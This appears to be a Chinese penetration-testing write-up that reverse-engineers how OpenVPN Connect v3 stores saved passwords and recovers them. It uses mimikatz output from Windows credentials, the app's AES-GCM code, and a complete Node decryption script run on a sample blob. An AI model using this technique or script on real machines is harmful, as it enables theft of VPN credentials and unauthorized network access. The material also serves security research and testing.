OpenVPN 是一个基于 OpenSSL 库的应用层 VPN 实现。和传统 VPN 相比,它的优点是简单易用。
渗透过程中如果碰到OpenVPN Connect v3,如何恢复其密码?
本文通过对OpenVPN Connect v3的逆向分析,成功恢复了密码明文。
实际大多数组件是开源的,但OpenVPN Connect v3不开源。
https://openvpn.net/source-code/
The OpenVPN Connect v3 GUI software by OpenVPN Inc. that comes included with OpenVPN Access Server and OpenVPN Cloud is not open source.
2. 逆向线索
2.1 线索1
渗透同事发来mimikatz疑似有openvpn的凭证
mimikatz
2.2 线索2
添加配置后,并保存密码
观察行为可以发现确实lsass进程确实生成了凭证
procmon
3. 寻找关键点
3.1 Windows凭证相关API
CredWriteA/CredWriteW
https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credwritea
3.2 定位关键文件
在openvpn目录搜索CredWrite,发现其只出现在keytar.node
keytar是一个node模块https://github.com/atom/node-keytar
经过进一步观察目录结构,发现openvpn使用Electron编写
keytar
dir
3.3 解包app.asar
通过https://github.com/trondhumbor/Asar解包后发现不少js
app
3.4 通过source map还原js
通过https://www.npmjs.com/package/shuji还原出未压缩的js
3.5 分析主要逻辑
既然其使用了keytar,那么必然会调用keytar的setPassword
方法
其原型为setPassword(service, account, password)
可以看到在保存到windows凭证前,又通过AES加密了一次
appsearch
import { getPassword as getFromKeychain, setPassword, deletePassword as deleteFromKeychain } from 'keytar';
const env = process.env;
const { PT_ONLY } = env;const prefix = PT_ONLY ? ‘org.openvpn.privatetunnel’ : ‘org.openvpn.client.’;
const crypto = require(‘crypto’);
const ALGORITHM_NAME = ‘aes-128-gcm’;
const ALGORITHM_NONCE_SIZE = 12;
const ALGORITHM_TAG_SIZE = 16;
const ALGORITHM_KEY_SIZE = 16;
const PBKDF2_NAME = ‘sha1’;
const PBKDF2_SALT_SIZE = 16;
const PBKDF2_ITERATIONS = 32767;function encryptString(plaintext, password) {
try {
const salt = crypto.randomBytes(PBKDF2_SALT_SIZE);
const key = crypto.pbkdf2Sync(
Buffer.from(password, ‘utf8’),
salt,
PBKDF2_ITERATIONS,
ALGORITHM_KEY_SIZE,
PBKDF2_NAME
);const ciphertextAndNonceAndSalt = Buffer.concat([salt, encrypt(Buffer.from(plaintext, 'utf8'), key)]);
return ciphertextAndNonceAndSalt.toString('base64');
} catch (e) {
console.warn(e);
}}
function decryptString(base64CiphertextAndNonceAndSalt, password) {
try {
const ciphertextAndNonceAndSalt = Buffer.from(base64CiphertextAndNonceAndSalt, ‘base64’);
const salt = ciphertextAndNonceAndSalt.slice(0, PBKDF2_SALT_SIZE);
const ciphertextAndNonce = ciphertextAndNonceAndSalt.slice(PBKDF2_SALT_SIZE);const key = crypto.pbkdf2Sync(
Buffer.from(password, 'utf8'),
salt,
PBKDF2_ITERATIONS,
ALGORITHM_KEY_SIZE,
PBKDF2_NAME
);
return decrypt(ciphertextAndNonce, key).toString('utf8');
} catch (e) {
console.warn(e);
}}
function encrypt(plaintext, key) {
const nonce = crypto.randomBytes(ALGORITHM_NONCE_SIZE);
const cipher = crypto.createCipheriv(ALGORITHM_NAME, key, nonce);
const ciphertext = Buffer.concat([cipher.update(plaintext), cipher.final()]);
return Buffer.concat([nonce, ciphertext, cipher.getAuthTag()]);
}function decrypt(ciphertextAndNonce, key) {
const nonce = ciphertextAndNonce.slice(0, ALGORITHM_NONCE_SIZE);
const ciphertext = ciphertextAndNonce.slice(
ALGORITHM_NONCE_SIZE,
ciphertextAndNonce.length - ALGORITHM_TAG_SIZE
);
const tag = ciphertextAndNonce.slice(ciphertext.length + ALGORITHM_NONCE_SIZE);
const cipher = crypto.createDecipheriv(ALGORITHM_NAME, key, nonce);
cipher.setAuthTag(tag);
const res = Buffer.concat([cipher.update(ciphertext), cipher.final()]);
return res;
}
// const es = encryptString(‘test123’, ‘profname’);
// console.log(es);
// console.log(decryptString(es, ‘profname’));export async function savePassword(profile, password) {
return setPassword(prefix, profile, encryptString(password, profile));
}export async function getPassword(profile) {
return getFromKeychain(prefix, profile).then((s) => decryptString(s, profile));
}export function deletePassword(profile) {
return deleteFromKeychain(prefix, profile);
}export async function savePrivateKeyPassword(profile, password) {
return setPassword(prefix,${profile}.pkp
, encryptString(password, profile));
}export function getPrivateKeyPassword(profile) {
return getFromKeychain(prefix,${profile}.pkp
).then((s) => decryptString(s, profile));
}export function deletePrivateKeyPassword(profile) {
return deleteFromKeychain(prefix,${profile}.pkp
);
}export async function changePassProfile(oldName, newName) {
const pass = await getPassword(oldName);
if (!pass) {
return;
}
await savePassword(newName, pass);
await deletePassword(oldName);
}
export async function changePkpProfile(oldName, newName) {
const pass = await getPrivateKeyPassword(oldName);
if (!pass) {
return;
}
await savePrivateKeyPassword(newName, pass);
await deletePrivateKeyPassword(oldName);
}
3.6 AES密钥
其使用的就是windows凭证的用户名作为AES的密钥,所以
1659699386063
就是key
aeskey
4. 恢复密码
mimikatz到导出的为hex的数据
txt
167 70 2f 75 48 45 75 75 4f 48 58 56 4e 59 48 30 77 30 42 45 4f 57 4c 30 4a 55 54 67 58 43 38 44 7a 75 51 68 43 79 45 49 51 4b 46 58 38 49 32 44 4b 43 45 64 4e 55 64 72 45 36 38 4e 6a 4d 32 52 7a 51 4e 78 6f 77 3d 3d
处理后为
txt
1gp/uHEuuOHXVNYH0w0BEOWL0JUTgXC8DzuQhCyEIQKFX8I2DKCEdNUdrE68NjM2RzQNxow==
编写node的解密脚本
js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41 const crypto = require('crypto');
const ALGORITHM_NAME = 'aes-128-gcm';
const ALGORITHM_NONCE_SIZE = 12;
const ALGORITHM_TAG_SIZE = 16;
const ALGORITHM_KEY_SIZE = 16;
const PBKDF2_NAME = 'sha1';
const PBKDF2_SALT_SIZE = 16;
const PBKDF2_ITERATIONS = 32767;
function decryptString(base64CiphertextAndNonceAndSalt, password) {
try {
const ciphertextAndNonceAndSalt = Buffer.from(base64CiphertextAndNonceAndSalt, 'base64');
const salt = ciphertextAndNonceAndSalt.slice(0, PBKDF2_SALT_SIZE);
const ciphertextAndNonce = ciphertextAndNonceAndSalt.slice(PBKDF2_SALT_SIZE);
const key = crypto.pbkdf2Sync(
Buffer.from(password, 'utf8'),
salt,
PBKDF2_ITERATIONS,
ALGORITHM_KEY_SIZE,
PBKDF2_NAME
);
return decrypt(ciphertextAndNonce, key).toString('utf8');
} catch (e) {
console.warn(e);
}
}
function decrypt(ciphertextAndNonce, key) {
const nonce = ciphertextAndNonce.slice(0, ALGORITHM_NONCE_SIZE);
const ciphertext = ciphertextAndNonce.slice(
ALGORITHM_NONCE_SIZE,
ciphertextAndNonce.length - ALGORITHM_TAG_SIZE
);
const tag = ciphertextAndNonce.slice(ciphertext.length + ALGORITHM_NONCE_SIZE);
const cipher = crypto.createDecipheriv(ALGORITHM_NAME, key, nonce);
cipher.setAuthTag(tag);
const res = Buffer.concat([cipher.update(ciphertext), cipher.final()]);
return res;
}
console.log(decryptString("gp/uHEuuOHXVNYH0w0BEOWL0JUTgXC8DzuQhCyEIQKFX8I2DKCEdNUdrE68NjM2RzQNxow==","1659699386063"))
执行后即可获得明文
password
原文始发于微信公众号(雁行安全团队):OpenVPN Connect v3 密码恢复